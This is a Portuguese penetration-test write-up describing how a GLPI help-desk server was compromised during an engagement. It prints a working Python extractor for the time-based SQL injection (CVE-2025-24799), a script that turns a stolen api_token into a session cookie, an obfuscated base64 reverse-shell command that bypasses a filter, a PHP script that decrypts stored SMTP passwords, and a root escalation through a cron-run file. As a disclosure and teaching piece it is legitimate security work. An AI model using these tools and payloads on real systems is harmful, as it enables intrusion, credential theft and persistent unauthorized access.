Início
Durante um pentest em um grande cliente, no processo de enumeração sobre as aplicações web disponíveis, pude encontrar uma instância do GLPI pública através de uma string estática que estava armazenada em um arquivo JavaScript de uma outra aplicação Next.js. O que é mais interessante deste GLPI é que ele não pôde ser encontrado por nenhuma ferramenta de enumeração de subdomínios ou afins, então foi um grande achado.
GLPI ou Gestionnaire Libre de Parc Informatique é um software de código-aberto para gerenciamento de ativos de tecnologia e também de criação e resolução de tickets, comumente conhecido como help desk. É um projeto extremamente grande e bastante utilizado, contando com mais de 5 mil estrelas em seu projeto no GitHub.
Percebi que era uma instância do GLPI minimamente modificada, com algumas mudanças aplicadas pelo time de desenvolvimento e tecnologia desse cliente em questão. Um ponto principal que me chamou a atenção é que a aplicação estava integrada com o sistema de SSO, o que é algo bem relevante levando em consideração a possibilidade de obter dados sensíveis ligados a organização. Não tinha certeza sobre qual era a versão desse GLPI, então optei por assumir que era uma das mais recentes, ou a mais recente. No momento da escrita deste artigo, a última versão é a 10.0.18 que foi lançada em 12 de fevereiro de 2025.
Então, fui até a aba de Releases do projeto do GLPI no GitHub e olhei a changelog entre as últimas versões lançadas e duas vulnerabilidades específicas chamaram minha atenção, uma vulnerabilidade de SQL Injection desautenticado e outra de Remote Code Execution só que autenticada. Inicialmente a vulnerabilidade de SQL Injection era a mais promissora, justamente por não haver necessidade de ter alguma credencial do ambiente.
Analisando o artigo publicado pela Lexfo, podemos entender qual é a causa da vulnerabilidade de SQL Injection. Dentro da função handleAgent do arquivo src/Agent.php podemos notar uma diferença entre as versões.
- 10.0.17
- 10.0.18
Podemos ver nas imagens acima que a função Sanitizer::dbEscapeRecursive foi removida do trecho ligado ao parâmetro deviceid na versão 10.0.18. O problema é que a função Sanitizer::dbEscapeRecursive suporta requisições com um conteúdo XML, mas possui uma falha fundamental em sua implementação. A função percorre arrays recursivamente e escapa strings conforme esperado. Porém, quando encontra um valor que não é nem array nem string, ela simplesmente retorna esse valor sem qualquer tratamento, fazendo com que outros objetos não sejam sanitizados.
Vale ressaltar que o endpoint handleAgent não requer credenciais para ser acessado. Isso eleva significativamente a severidade da vulnerabilidade, transformando-a em um vetor de comprometimento completo do sistema.
Com isso em mente, já podemos entender o que será necessário:
- Enviar uma requisição do tipo POST ao GLPI que faça uso do handleXMLRequest;
- Usaremos do corpo XML esperado para interação com essa função, onde o parâmetro alvo é o deviceid e dentro dele colcaremos um payload de SQL Injection que será encapsulado no objeto
SimpleXMLElement, passando intacto pela sanitização e sendo executado no banco de dados.
Após confirmar que a instância alvo estava vulnerável, podemos presumir algumas coisas:
- A versão instalada é a 10.0.17 ou inferior;
- Possivelmente a falha CVE-2025-24801 de RCE autenticado poderá funcionar;
Um SQL Injection é uma ótima falha, mas qual o problema de toda essa situação? O primeiro problema é que a exploração é baseada em tempo (time-based SQLi), o que torna um processo mais demorado, mas o problema principal mesmo é que as senhas dos usuários no GLPI que ficam armazenadas no banco de dados estão criptografadas utilizando Bcrypt, então levaria muito tempo extrair elas do banco de dados e não há qualquer garantia que eu poderia quebrá-las.
Continuando no artigo da Lexfo, notei que eles trazem a sugestão de que é possível extrair o api_token de um usuário e utilizar a API do GLPI para gerar um cookie de sessão válido que cede acesso à conta do usuário-alvo. Todavia, a Lexfo não aparenta ter disponibilizado como fazer isso, então precisei descobrir o formato do api_token e como usá-lo. O primeiro processo seria identificar se o usuário está presente no banco de dados e, se estiver, extrair esse token para utilizar a API do GLPI e obter uma sessão válida.
Analisando a documentação da API REST do GLPI, existe uma referência para o padrão do api_token e outras informações importantes para a construção do script. O que precisava descobrir primeiro era qual o formato desse token, seu comprimento e quais caracteres o compunham.
Esse é o padrão do token, caracteres de a até Z, de 0 a 9, tem o comprimento de 41 caracteres e os caracteres podem ser maiúsculos ou minúsculos.
Para testar se a teoria estava correta, voltaremos a requisição original do SQL Injection e substituiremos para o uso da função de ASCII do SQL para converter um inteiro em um caractere e enviar isso ao Intruder do Burp Suite, que percorreria do número 0 até 200 e esperaria 6 segundos caso o caractere estivesse correto.
Ao percorrer até 200, cobrimos todo o espectro de caracteres imprimíveis padrão mais uma margem de segurança para caracteres estendidos. Se o caractere na posição X tiver valor ASCII igual ao número que estamos testando, o banco executa um SLEEP de 6 segundos e o Burp detecta esse delay, revelando qual é o caractere correto. Esse processo se repete para cada posição da string que queremos extrair (senha, hash, nome de usuário, etc.), construindo a informação byte a byte através da diferença no tempo de resposta.
Um ponto que me ajudou também é que o GLPI conta com diversos usuários padrão, como o usuário glpi que era meu alvo justamente por ser um usuário naturalmente Super-Admin, e que felizmente tinha um api_token definido.
Com a query abaixo, coletei uma parte do api_token do usuário glpi e confirmei que seria possível prosseguir desta forma, no entanto, isso acabaria levando muito tempo, e por isso, optei por desenvolver um script Python que automatizaria este processo.
Abaixo deixarei o código utilizado para fazer a exfiltração destes dados, onde basta especificar a URL e o nome do usuário alvo. O restante dos argumentos são opcionais e podem ser ajustados dependendo do seu contexto. Lembrando que este código foi criado apenas para a resolução momentânea desta situação, então pode ocorrer problemas ou falso-positivos na extração.
import requests
import time
import argparse
import urllib3
urllib3.disable_warnings()
def payload(url: str, user: str, pos: int, char_code: int, sleep_time: int, timeout: int) -> bool:
xml = f"""<?xml version="1.0"?>
<xml>
<QUERY>get_params</QUERY>
<deviceid>' OR IF(ASCII(SUBSTRING((SELECT api_token FROM glpi_users WHERE name='{user}' LIMIT 1),{pos},1))={char_code},SLEEP({sleep_time}),0)-- -</deviceid>
<content>creds</content>
</xml>"""
headers = {
"Content-Type": "application/xml",
"User-Agent": "Mozilla/5.0",
"Accept": "*/*",
"Accept-Encoding": "gzip, deflate, br"
}
start = time.perf_counter()
try:
requests.post(url, headers=headers, data=xml, timeout=timeout, verify=False)
except requests.exceptions.Timeout:
return True
elapsed = time.perf_counter() - start
return elapsed >= sleep_time
def main():
argparser = argparse.ArgumentParser(description="NTSLabs | Time-based SQLi extractor for GLPI api_token | CVE-2025-24799")
argparser.add_argument("-u","--url", required=True, help="Full target URL (e.g. https://…/)")
argparser.add_argument("-n","--name", default="glpi", help="Username in glpi_users to extract token for")
argparser.add_argument("-s","--sleep", type=int, default=5, help="Sleep time used in the payload")
argparser.add_argument("-t","--timeout", type=int, default=7, help="Request timeout (should exceed sleep)")
argparser.add_argument("-o","--offset", type=int, default=1, help="Starting character position (1-based)")
argparser.add_argument("-m","--max", type=int, default=32, help="Max token length to probe")
argparser.add_argument("-p","--prefix", default="", help="Already-known prefix to prepend")
args = argparser.parse_args()
token = args.prefix
for pos in range(args.offset, args.max + 1):
for char in range(32, 127):
if payload(args.url, args.name, pos, char, args.sleep, args.timeout):
token += chr(char)
print(chr(char), end="", flush=True)
break
else:
break
print(f"\{token}")
if __name__ == "__main__":
main()
Executando o script e esperando o processo de extração, logo vamos ter o api_token completo do usuário glpi em mãos. Para verificar se o token está funcional, utilizei a própria rota da API do GLPI /apirest.php/initSession?get_full_session=true que vi anteriormente na documentação, e que retorna um session_token caso o api_token seja válido.
curl -X GET \
-H 'Content-Type: application/json' \
-H "Authorization: user_token <api_token>" \
'https://<instancia-glpi>/apirest.php/initSession?get_full_session=true'
Felizmente tudo correu bem durante o processo de extração do api_token e o mesmo era válido, a API retornou uma resposta JSON completa com informações da sessão juntamente de um session_token, indicando que o api_token é funcional.
Seguindo com a exploração, apenas com o session_token não é possível se autenticar na interface do serviço do GLPI, apenas interagir com a API. Então, desenvolvi outra ferramenta que utiliza o api_token para retornar um cookie de sessão válido. Ressalta-se que este código foi criado apenas para a resolução momentânea desta situação, então pode ocorrer problemas ou falso-positivos na execução.
import requests
from bs4 import BeautifulSoup
import urllib3
import argparse
urllib3.disable_warnings()
def generate_cookie(base_url: str, user_token: str):
login_url = base_url.rstrip("/") + "/front/login.php"
session = requests.Session()
session.verify = False
session.headers.update({
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0",
"Referer": login_url,
"Origin": base_url.rstrip("/"),
"Accept": "text/html,application/xhtml+xml"
})
response = session.get(login_url); response.raise_for_status()
soup = BeautifulSoup(response.text, "html.parser")
form = soup.find("form", action=lambda x: x and "login.php" in x)
csrf = form.find("input", {"name":"_glpi_csrf_token"})["value"]
data = {
"redirect": "",
"_glpi_csrf_token": csrf,
"auth": "token",
"user_token": user_token,
"submit": "Login"
}
second_response = session.post(login_url, data=data); second_response.raise_for_status()
for cookie_name, cookie_value in session.cookies.items():
if cookie_name.startswith("glpi_"):
print(f"Cookie: {cookie_name}={cookie_value}")
return session
raise RuntimeError("Impossible to generate a cookie :/ ")
if __name__ == "__main__":
argparser = argparse.ArgumentParser()
argparser.add_argument("-u","--url", required=True, help="URL")
argparser.add_argument("-t","--token", required=True, help="api_token")
args = argparser.parse_args()
sess = generate_cookie(args.url, args.token)
Executando o script acima é possível obter um cookie de sessão para o usuário glpi. Com o cookie em mãos, finalmente pude me autenticar no GLPI. Para utilizar o cookie capturado, usei uma extensão no navegador chamada Cookie-Editor e inseri o valor capturado. Em seguida, atualizei a página e agora estou autenticado como o usuário glpi na instância do GLPI.
Criatividade e RCE
Com uma sessão de super admin estabelecida, agora podemos prosseguir para o comprometimento interno desse GLPI. Conforme visto anteriormente, existe uma outra vulnerabilidade que afeta versões do GLPI inferiores à 10.0.17. Trata-se de uma vulnerabilidade catalogada como CVE-2025-24801, que explora uma vulnerabilidade de Local File Inclusion no mecanismo de definir uma fonte para arquivos PDF, cuja ideia é escrever uma webshell maliciosa no diretório temporário do GLPI (/var/www/html/glpi/files/_tmp/) e acessá-la a partir deste Local File Inclusion, o que posteriormente nos permitirá escalonar para Remote Code Execution.
Primeiramente precisei de uma outra conta admin, pois o exploit que irei utilizar para explorar a vulnerabilidade requisita o usuário e a senha. Lembre-se de criar esta conta com o perfil super admin, assim garantimos todas as permissões necessárias.
Além disso, precisei permitir o upload de arquivos PHP, o que pode ser feito a partir do formulário de tipos de documentos, da mesma forma que está sendo feita abaixo:
Após permitir o envio de arquivos PHP, utilizei o exploit desenvolvido pelo pesquisador "ribeirin" que está disponível em seu GitHub. A sintaxe para a execução do exploit é simples, basta especificar as credenciais da conta administradora que criei anteriormente, a URL do alvo e o comando que desejo executar.
python3 cve-2025-24801.py --username <usuario> --password '<senha>' --url https://example.com --cmd hostname
Conforme podemos ver na imagem acima, temos RCE no ambiente! Entretanto, executar comandos através do exploit limita a exploração. Como o entendimento da vulnerabilidade também é importante, enviei as requisições feitas pelo exploit ao Burp Suite através da adição de um proxy no script e tentei executar um comando com espaços e hífens, nesse caso, uname -a. Porém, o servidor está respondendo com "403 Forbidden", ou seja, estava sendo bloqueado.
Podemos perceber que o servidor está bloqueando o comando, provavelmente através de um mecanismo de defesa nativo da aplicação ou um simples comportamento errôneo. Após algumas tentativas, com o apoio dos meus colegas de trabalho, pude descobrir uma maneira de contornar esse problema utilizando a técnica de Command Substitution. O Command Substitution é uma técnica que nos permite executar comandos dentro de crases (backticks) ou $(), onde o resultado do comando é substituído no local.
Com isso em mente, digamos que desejamos executar o comando uname -a novamente, mas desta vez com a técnica Command Substitution embutida, o comando final será:
u`u`n`u`a`u`m`u`e%20-a
Podemos notar que agora não há quaisquer bloqueios e o comando funciona normalmente. Com isso, basta formularmos o comando correto para estabelecer a reverse shell. A ideia que tive foi codificar o comando alvo em base64 e utilizar as funções echo e base64 -d, resultando no comando abaixo:
e`u`c`u`h`u`o+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMC4wLjAuMC8wMCAwPiYxJw==|+b`u`a`u`s`u`e`u`6`u`4+-d+|+b`u`a`u`s`u`h
Ao verificar o servidor que estava ouvindo na porta 80, após enviar o payload da reverse shell, pude ver que a sessão foi estabelecida com sucesso e agora tenho acesso interno no GLPI, elevando o comprometimento da aplicação a outro nível.
A partir deste ponto, executei mais dois ataques no ambiente:
- Comprometimento a conta SMTP que estava configurada no ambiente;
- Escalação de privilégios para root.
Comprometendo Conta SMTP
Iniciando com o comprometimento da conta SMTP do ambiente, vale entender que essas configurações ficam armazenadas no banco de dados do GLPI de forma criptografada. Felizmente, o GLPI armazena a chave privada desta criptografia em um arquivo chamado glpicrypt.key, que na maioria das vezes está no diretório da aplicação web. Então com a chave em mãos, descriptografar essas informações não seria um problema.
Para obter estes dados, acessei o banco de dados da aplicação a partir do binário do MySQL que já vem instalado por padrão em instâncias do GLPI. As credenciais do banco de dados podemos encontrar geralmente no arquivo de configurações do GLPI, que também fica no diretório da aplicação web.
Com elas em mão, utilizei o seguinte comando para me conectar ao banco de dados:
mysql -u <usuario> -h <host> -p<senha>
Selecionei o banco de dados do GLPI (glpi) e usei o comando SELECT * FROM glpi_configs\g para capturar todas as configurações do GLPI. Também é possível utilizar SELECT smtp_mode, smtp_host, smtp_port, smtp_username, smtp_passwd FROM glpi_configs\g para uma melhor saída, mas optei por capturar todas para garantir que estava atrás dos itens corretos.
Com as informações coletadas, com foco na senha do usuário ligado ao serviço do SMTP, copiei o arquivo glpicrypt.key para minha máquina local e utilizei um script para realizar a descriptografia da senha capturada.
<?php
$encoded_value = base64_decode('Informação Encriptada Em Base64');
$nonce = substr($encoded_value, 0, SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES);
$ciphertext = substr($encoded_value, SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES);
$private_key = file_get_contents('glpicrypt.key');
$decrypted = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($ciphertext, $nonce, $nonce, $private_key);
echo "Result: " . $decrypted;
?>
Com a senha do usuário em mãos, consegui me autenticar com sucesso no ambiente Office da conta comprometida e a partir de lá também tive acesso a diversos outros ambientes da empresa cuja autenticação era feita a partir de SSO.
Escalonando para Root
Durante a enumeração do ambiente Linux, notei que meu usuário tem privilégio de escrita sobre o arquivo cron.php. O que acontece é que há um crontab configurado para executar este mesmo arquivo de tempos em tempos, porém com o usuário root, então o processo é simples: basta inserirmos uma reverse shell no cron.php e teremos privilégios de root.
Optei inicialmente por testar a veracidade disso, portanto, fui ao arquivo cron.php e modifiquei o início do arquivo, adicionando a função system() do PHP e em seguida utilizei o nslookup e um endereço de callback, onde no início do endereço adicionei $(whoami) para que fosse impresso o usuário que está executando o nslookup.
Após um breve tempo para que o cron fosse executado, ao acessar o servidor web, pude notar que de fato o comando nslookup está sendo executado pelo usuário root.
Bastou voltar ao arquivo cron.php e substituir o comando de nslookup por uma reverse shell genérica, conforme demonstrado abaixo:
Modificando o arquivo e salvando-o, aguardei novamente a execução do cron. Alguns minutos depois, tenho a shell root estabelecida com sucesso.
A partir disto, estabeleci persistência no ambiente e também comprometi outros ambientes Linux que tinha acesso a partir dessa instância GLPI, além de também ter acesso ao ambiente AWS que estava configurado, elevando o comprometimento para além da instância GLPI original.
Conclusão
Neste artigo abordo uma situação importante de analisar a diferença de código entre as versões de um software e como uma ideia pode ajudar a formular toda uma sequência de ataques que podem resultar em uma falha de maior impacto ao ambiente. Espero que este artigo contribua com os leitores e que possam ter aprendido algo a partir dele.
Agradeço também à Lexfo pelo ótimo artigo que foi um ponto chave para entender a causa da falha e como poderia me aproveitar dela para escalar privilégios dentro deste contexto.